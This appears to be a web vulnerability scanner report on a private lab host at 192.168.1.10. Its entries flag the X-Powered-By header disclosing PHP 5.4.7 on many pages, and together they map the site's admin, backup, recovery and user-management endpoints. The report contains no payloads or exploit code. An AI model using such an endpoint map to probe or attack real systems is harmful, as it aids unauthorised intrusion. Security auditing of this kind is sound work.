Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/index.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/login.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/mail.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/product_details.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/product_details.php?%20id=1

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/product_details.php?%20id=10

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/product_details.php?%20id=11

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

http://192.168.1.10/forgotpass.php
http://192.168.1.10/include/connect.php
http://192.168.1.10/include/session.php
http://192.168.1.10/index.php
http://192.168.1.10/login.php
http://192.168.1.10/mail.php
http://192.168.1.10/product_details.php
http://192.168.1.10/product_details.php?%20id=1
http://192.168.1.10/product_details.php?%20id=10
http://192.168.1.10/product_details.php?%20id=11


URL http://192.168.1.10/product_details.php?%20id=2

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/product_details.php?%20id=3

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/product_details.php?%20id=4

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/product_details.php?%20id=5

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/product_details.php?%20id=6

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/product_details.php?%20id=7

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/product_details.php?%20id=8

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/product_details.php?%20id=9

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/products.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/products.php?page=1

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/products.php?page=2

http://192.168.1.10/product_details.php?%20id=2
http://192.168.1.10/product_details.php?%20id=3
http://192.168.1.10/product_details.php?%20id=4
http://192.168.1.10/product_details.php?%20id=5
http://192.168.1.10/product_details.php?%20id=6
http://192.168.1.10/product_details.php?%20id=7
http://192.168.1.10/product_details.php?%20id=8
http://192.168.1.10/product_details.php?%20id=9
http://192.168.1.10/products.php
http://192.168.1.10/products.php?page=1
http://192.168.1.10/products.php?page=2


Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/products.php?page=3

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/register.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10:80//aboutus.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10:80//admin/

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10:80//admin/ADMIN/ADS/

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10:80//admin/ADMIN/ADS/announcement.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10:80//admin/ADMIN/ADS/announcement_detail.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10:80//admin/ADMIN/ADS/Customer_list.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10:80//admin/ADMIN/ADS/Customers.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10:80//admin/ADMIN/ADS/index.php

Method GET

http://192.168.1.10/products.php?page=3
http://192.168.1.10/register.php
http://192.168.1.10:80//aboutus.php
http://192.168.1.10:80//admin/
http://192.168.1.10:80//admin/ADMIN/ADS/
http://192.168.1.10:80//admin/ADMIN/ADS/announcement.php
http://192.168.1.10:80//admin/ADMIN/ADS/announcement_detail.php
http://192.168.1.10:80//admin/ADMIN/ADS/Customer_list.php
http://192.168.1.10:80//admin/ADMIN/ADS/Customers.php
http://192.168.1.10:80//admin/ADMIN/ADS/index.php


Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10:80//admin/ADMIN/ADS/messages.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10:80//admin/ADMIN/ADS/messages_box.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10:80//admin/ADMIN/ADS/print_Customerlist.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10:80//admin/ADMIN/ADS/View_Customer.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10:80//admin/ADMIN/AS/

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10:80//admin/ADMIN/AS/announcement_detail.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10:80//admin/ADMIN/AS/asset.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10:80//admin/ADMIN/AS/index.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10:80//admin/ADMIN/AS/print_products.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10:80//admin/ADMIN/AS/print_products1.php

Method GET

Attack

http://192.168.1.10:80//admin/ADMIN/ADS/messages.php
http://192.168.1.10:80//admin/ADMIN/ADS/messages_box.php
http://192.168.1.10:80//admin/ADMIN/ADS/print_Customerlist.php
http://192.168.1.10:80//admin/ADMIN/ADS/View_Customer.php
http://192.168.1.10:80//admin/ADMIN/AS/
http://192.168.1.10:80//admin/ADMIN/AS/announcement_detail.php
http://192.168.1.10:80//admin/ADMIN/AS/asset.php
http://192.168.1.10:80//admin/ADMIN/AS/index.php
http://192.168.1.10:80//admin/ADMIN/AS/print_products.php
http://192.168.1.10:80//admin/ADMIN/AS/print_products1.php


Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10:80//admin/ADMIN/AS/reports.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10:80//admin/ADMIN/AS/reports1.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10:80//admin/ADMIN/AS/view_product.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10:80//admin/ADMIN/OOS/

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10:80//admin/ADMIN/OOS/announcement_detail.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10:80//admin/ADMIN/OOS/confirm_order.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10:80//admin/ADMIN/OOS/confirmed_order.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10:80//admin/ADMIN/OOS/delete_order.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10:80//admin/ADMIN/OOS/index.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10:80//admin/ADMIN/OOS/orders.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

http://192.168.1.10:80//admin/ADMIN/AS/reports.php
http://192.168.1.10:80//admin/ADMIN/AS/reports1.php
http://192.168.1.10:80//admin/ADMIN/AS/view_product.php
http://192.168.1.10:80//admin/ADMIN/OOS/
http://192.168.1.10:80//admin/ADMIN/OOS/announcement_detail.php
http://192.168.1.10:80//admin/ADMIN/OOS/confirm_order.php
http://192.168.1.10:80//admin/ADMIN/OOS/confirmed_order.php
http://192.168.1.10:80//admin/ADMIN/OOS/delete_order.php
http://192.168.1.10:80//admin/ADMIN/OOS/index.php
http://192.168.1.10:80//admin/ADMIN/OOS/orders.php


URL http://192.168.1.10:80//admin/ADMIN/OOS/pending_order.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10:80//admin/ADMIN/OOS/print_orders.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10:80//admin/ADMIN/OOS/reports.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10:80//admin/ADMIN/OOS/view_order.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10:80//admin/ADMIN/OOS/view_order_notif.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10:80//admin/ADMIN/SERVER/add_new_user.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10:80//admin/ADMIN/SERVER/add_new_user_type.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10:80//admin/ADMIN/SERVER/admin_report.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10:80//admin/ADMIN/SERVER/Administrator_loginout.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10:80//admin/ADMIN/SERVER/ADS/

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10:80//admin/ADMIN/SERVER/ADS/announcement.php

http://192.168.1.10:80//admin/ADMIN/OOS/pending_order.php
http://192.168.1.10:80//admin/ADMIN/OOS/print_orders.php
http://192.168.1.10:80//admin/ADMIN/OOS/reports.php
http://192.168.1.10:80//admin/ADMIN/OOS/view_order.php
http://192.168.1.10:80//admin/ADMIN/OOS/view_order_notif.php
http://192.168.1.10:80//admin/ADMIN/SERVER/add_new_user.php
http://192.168.1.10:80//admin/ADMIN/SERVER/add_new_user_type.php
http://192.168.1.10:80//admin/ADMIN/SERVER/admin_report.php
http://192.168.1.10:80//admin/ADMIN/SERVER/Administrator_loginout.php
http://192.168.1.10:80//admin/ADMIN/SERVER/ADS/
http://192.168.1.10:80//admin/ADMIN/SERVER/ADS/announcement.php


Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10:80//admin/ADMIN/SERVER/ADS/announcement_detail.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10:80//admin/ADMIN/SERVER/ADS/Customer_list.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10:80//admin/ADMIN/SERVER/ADS/index.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10:80//admin/ADMIN/SERVER/ADS/messages.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10:80//admin/ADMIN/SERVER/ADS/messages_box.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10:80//admin/ADMIN/SERVER/ADS/print_Customerlist.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10:80//admin/ADMIN/SERVER/ADS/View_Customer.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10:80//admin/ADMIN/SERVER/announcement_detail.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10:80//admin/ADMIN/SERVER/AS/

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10:80//admin/ADMIN/SERVER/AS/add_new_category.php

Method GET

http://192.168.1.10:80//admin/ADMIN/SERVER/ADS/announcement_detail.php
http://192.168.1.10:80//admin/ADMIN/SERVER/ADS/Customer_list.php
http://192.168.1.10:80//admin/ADMIN/SERVER/ADS/index.php
http://192.168.1.10:80//admin/ADMIN/SERVER/ADS/messages.php
http://192.168.1.10:80//admin/ADMIN/SERVER/ADS/messages_box.php
http://192.168.1.10:80//admin/ADMIN/SERVER/ADS/print_Customerlist.php
http://192.168.1.10:80//admin/ADMIN/SERVER/ADS/View_Customer.php
http://192.168.1.10:80//admin/ADMIN/SERVER/announcement_detail.php
http://192.168.1.10:80//admin/ADMIN/SERVER/AS/
http://192.168.1.10:80//admin/ADMIN/SERVER/AS/add_new_category.php


Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10:80//admin/ADMIN/SERVER/AS/add_new_equipment.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10:80//admin/ADMIN/SERVER/AS/announcement_detail.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10:80//admin/ADMIN/SERVER/AS/asset.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10:80//admin/ADMIN/SERVER/AS/configuration.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10:80//admin/ADMIN/SERVER/AS/delete_category.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10:80//admin/ADMIN/SERVER/AS/edit_category.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10:80//admin/ADMIN/SERVER/AS/equipment.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10:80//admin/ADMIN/SERVER/AS/fixedasset_report.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10:80//admin/ADMIN/SERVER/AS/index.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10:80//admin/ADMIN/SERVER/AS/print_assetlist.php

Method GET

Attack

http://192.168.1.10:80//admin/ADMIN/SERVER/AS/add_new_equipment.php
http://192.168.1.10:80//admin/ADMIN/SERVER/AS/announcement_detail.php
http://192.168.1.10:80//admin/ADMIN/SERVER/AS/asset.php
http://192.168.1.10:80//admin/ADMIN/SERVER/AS/configuration.php
http://192.168.1.10:80//admin/ADMIN/SERVER/AS/delete_category.php
http://192.168.1.10:80//admin/ADMIN/SERVER/AS/edit_category.php
http://192.168.1.10:80//admin/ADMIN/SERVER/AS/equipment.php
http://192.168.1.10:80//admin/ADMIN/SERVER/AS/fixedasset_report.php
http://192.168.1.10:80//admin/ADMIN/SERVER/AS/index.php
http://192.168.1.10:80//admin/ADMIN/SERVER/AS/print_assetlist.php


Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10:80//admin/ADMIN/SERVER/AS/print_products.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10:80//admin/ADMIN/SERVER/AS/print_products1.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10:80//admin/ADMIN/SERVER/AS/reports.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10:80//admin/ADMIN/SERVER/AS/reports1.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10:80//admin/ADMIN/SERVER/AS/view_product.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10:80//admin/ADMIN/SERVER/asset_archive.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10:80//admin/ADMIN/SERVER/Audit_trail.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10:80//admin/ADMIN/SERVER/backup.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10:80//admin/ADMIN/SERVER/customer_archive.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10:80//admin/ADMIN/SERVER/Customer_loginout.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

http://192.168.1.10:80//admin/ADMIN/SERVER/AS/print_products.php
http://192.168.1.10:80//admin/ADMIN/SERVER/AS/print_products1.php
http://192.168.1.10:80//admin/ADMIN/SERVER/AS/reports.php
http://192.168.1.10:80//admin/ADMIN/SERVER/AS/reports1.php
http://192.168.1.10:80//admin/ADMIN/SERVER/AS/view_product.php
http://192.168.1.10:80//admin/ADMIN/SERVER/asset_archive.php
http://192.168.1.10:80//admin/ADMIN/SERVER/Audit_trail.php
http://192.168.1.10:80//admin/ADMIN/SERVER/backup.php
http://192.168.1.10:80//admin/ADMIN/SERVER/customer_archive.php
http://192.168.1.10:80//admin/ADMIN/SERVER/Customer_loginout.php


URL http://192.168.1.10:80//admin/ADMIN/SERVER/delete_user.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10:80//admin/ADMIN/SERVER/delete_user_type.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10:80//admin/ADMIN/SERVER/edit_user.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10:80//admin/ADMIN/SERVER/edit_user_type.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/announcement_detail.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/confirm_order.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/confirmed_order.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/delete_order.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/index.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/orders.php

http://192.168.1.10:80//admin/ADMIN/SERVER/delete_user.php
http://192.168.1.10:80//admin/ADMIN/SERVER/delete_user_type.php
http://192.168.1.10:80//admin/ADMIN/SERVER/edit_user.php
http://192.168.1.10:80//admin/ADMIN/SERVER/edit_user_type.php
http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/
http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/announcement_detail.php
http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/confirm_order.php
http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/confirmed_order.php
http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/delete_order.php
http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/index.php
http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/orders.php


Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/pending_order.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/print_orders.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/reports.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/view_order.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/view_order_notif.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10:80//admin/ADMIN/SERVER/print_admin_report.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10:80//admin/ADMIN/SERVER/print_all_changes.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10:80//admin/ADMIN/SERVER/print_asset_archive.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10:80//admin/ADMIN/SERVER/print_customer_archive.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10:80//admin/ADMIN/SERVER/print_customer_monitoring.php

Method GET

http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/pending_order.php
http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/print_orders.php
http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/reports.php
http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/view_order.php
http://192.168.1.10:80//admin/ADMIN/SERVER/OOS/view_order_notif.php
http://192.168.1.10:80//admin/ADMIN/SERVER/print_admin_report.php
http://192.168.1.10:80//admin/ADMIN/SERVER/print_all_changes.php
http://192.168.1.10:80//admin/ADMIN/SERVER/print_asset_archive.php
http://192.168.1.10:80//admin/ADMIN/SERVER/print_customer_archive.php
http://192.168.1.10:80//admin/ADMIN/SERVER/print_customer_monitoring.php


Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10:80//admin/ADMIN/SERVER/print_database.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10:80//admin/ADMIN/SERVER/Recovery.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10:80//admin/ADMIN/SERVER/user.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10:80//admin/ADMIN/SERVER/user_type.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10:80//affix.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10:80//forgotpass.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10:80//mail.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10:80//product_details.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10:80//register.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10:80/admin/ADMIN/ADS/add_new_announcement.php

Method GET

Attack

http://192.168.1.10:80//admin/ADMIN/SERVER/print_database.php
http://192.168.1.10:80//admin/ADMIN/SERVER/Recovery.php
http://192.168.1.10:80//admin/ADMIN/SERVER/user.php
http://192.168.1.10:80//admin/ADMIN/SERVER/user_type.php
http://192.168.1.10:80//affix.php
http://192.168.1.10:80//forgotpass.php
http://192.168.1.10:80//mail.php
http://192.168.1.10:80//product_details.php
http://192.168.1.10:80//register.php
http://192.168.1.10:80/admin/ADMIN/ADS/add_new_announcement.php


Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10:80/admin/ADMIN/ADS/Archive.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10:80/admin/ADMIN/ADS/delete_announcement.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10:80/admin/ADMIN/ADS/Delete_Customer.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10:80/admin/ADMIN/ADS/delete_message.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10:80/admin/ADMIN/ADS/edit_announcement.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10:80/admin/ADMIN/ADS/edit_image_announcement.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10:80/admin/ADMIN/ADS/reply.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10:80/admin/ADMIN/AS/add_new_products.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10:80/admin/ADMIN/AS/Archive.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10:80/admin/ADMIN/AS/delete_product.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

http://192.168.1.10:80/admin/ADMIN/ADS/Archive.php
http://192.168.1.10:80/admin/ADMIN/ADS/delete_announcement.php
http://192.168.1.10:80/admin/ADMIN/ADS/Delete_Customer.php
http://192.168.1.10:80/admin/ADMIN/ADS/delete_message.php
http://192.168.1.10:80/admin/ADMIN/ADS/edit_announcement.php
http://192.168.1.10:80/admin/ADMIN/ADS/edit_image_announcement.php
http://192.168.1.10:80/admin/ADMIN/ADS/reply.php
http://192.168.1.10:80/admin/ADMIN/AS/add_new_products.php
http://192.168.1.10:80/admin/ADMIN/AS/Archive.php
http://192.168.1.10:80/admin/ADMIN/AS/delete_product.php


URL http://192.168.1.10:80/admin/ADMIN/AS/edit_product.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10:80/admin/ADMIN/AS/edit_product_image.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10:80/admin/ADMIN/SERVER/

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10:80/admin/ADMIN/SERVER/ADS/add_new_announcement.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10:80/admin/ADMIN/SERVER/ADS/Archive.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10:80/admin/ADMIN/SERVER/ADS/Customers.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10:80/admin/ADMIN/SERVER/ADS/delete_announcement.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10:80/admin/ADMIN/SERVER/ADS/Delete_Customer.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10:80/admin/ADMIN/SERVER/ADS/delete_message.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10:80/admin/ADMIN/SERVER/ADS/edit_announcement.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10:80/admin/ADMIN/SERVER/ADS/edit_image_announcement.php

http://192.168.1.10:80/admin/ADMIN/AS/edit_product.php
http://192.168.1.10:80/admin/ADMIN/AS/edit_product_image.php
http://192.168.1.10:80/admin/ADMIN/SERVER/
http://192.168.1.10:80/admin/ADMIN/SERVER/ADS/add_new_announcement.php
http://192.168.1.10:80/admin/ADMIN/SERVER/ADS/Archive.php
http://192.168.1.10:80/admin/ADMIN/SERVER/ADS/Customers.php
http://192.168.1.10:80/admin/ADMIN/SERVER/ADS/delete_announcement.php
http://192.168.1.10:80/admin/ADMIN/SERVER/ADS/Delete_Customer.php
http://192.168.1.10:80/admin/ADMIN/SERVER/ADS/delete_message.php
http://192.168.1.10:80/admin/ADMIN/SERVER/ADS/edit_announcement.php
http://192.168.1.10:80/admin/ADMIN/SERVER/ADS/edit_image_announcement.php


Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10:80/admin/ADMIN/SERVER/ADS/reply.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10:80/admin/ADMIN/SERVER/AS/add_new_products.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10:80/admin/ADMIN/SERVER/AS/Archive.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10:80/admin/ADMIN/SERVER/AS/delete_product.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10:80/admin/ADMIN/SERVER/AS/edit_product.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10:80/admin/ADMIN/SERVER/AS/edit_product_image.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10:80/admin/ADMIN/SERVER/delete_asset_archive.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10:80/admin/ADMIN/SERVER/delete_customer_archive.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10:80/admin/ADMIN/SERVER/index.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10:80/admin/ADMIN/SERVER/print_administrator_monitoring.php

Method GET

http://192.168.1.10:80/admin/ADMIN/SERVER/ADS/reply.php
http://192.168.1.10:80/admin/ADMIN/SERVER/AS/add_new_products.php
http://192.168.1.10:80/admin/ADMIN/SERVER/AS/Archive.php
http://192.168.1.10:80/admin/ADMIN/SERVER/AS/delete_product.php
http://192.168.1.10:80/admin/ADMIN/SERVER/AS/edit_product.php
http://192.168.1.10:80/admin/ADMIN/SERVER/AS/edit_product_image.php
http://192.168.1.10:80/admin/ADMIN/SERVER/delete_asset_archive.php
http://192.168.1.10:80/admin/ADMIN/SERVER/delete_customer_archive.php
http://192.168.1.10:80/admin/ADMIN/SERVER/index.php
http://192.168.1.10:80/admin/ADMIN/SERVER/print_administrator_monitoring.php


Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10:80/admin/include/connect.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10:80/admin/include/session.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10:80/admin/logout.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10:80/include/connect.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10:80/include/session.php

Method GET

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/

Method POST

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/

Method POST

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/ADS/

Method POST

Attack

Evidence X-Powered-By: PHP/5.4.7

URL http://192.168.1.10/admin/ADMIN/ADS/announcement_detail.php

Method POST

Attack

